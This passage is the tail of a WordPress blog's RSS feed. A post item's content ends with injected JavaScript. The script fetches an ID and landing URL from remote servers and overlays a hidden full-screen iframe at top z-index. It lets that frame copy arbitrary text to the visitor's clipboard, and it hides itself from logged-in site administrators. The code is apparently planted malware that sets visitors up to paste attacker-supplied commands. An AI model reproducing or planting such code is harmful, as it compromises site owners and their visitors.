    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2011/05/13/facebookprdebacle/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">94</post-id>	</item>
	</channel>
</rss>
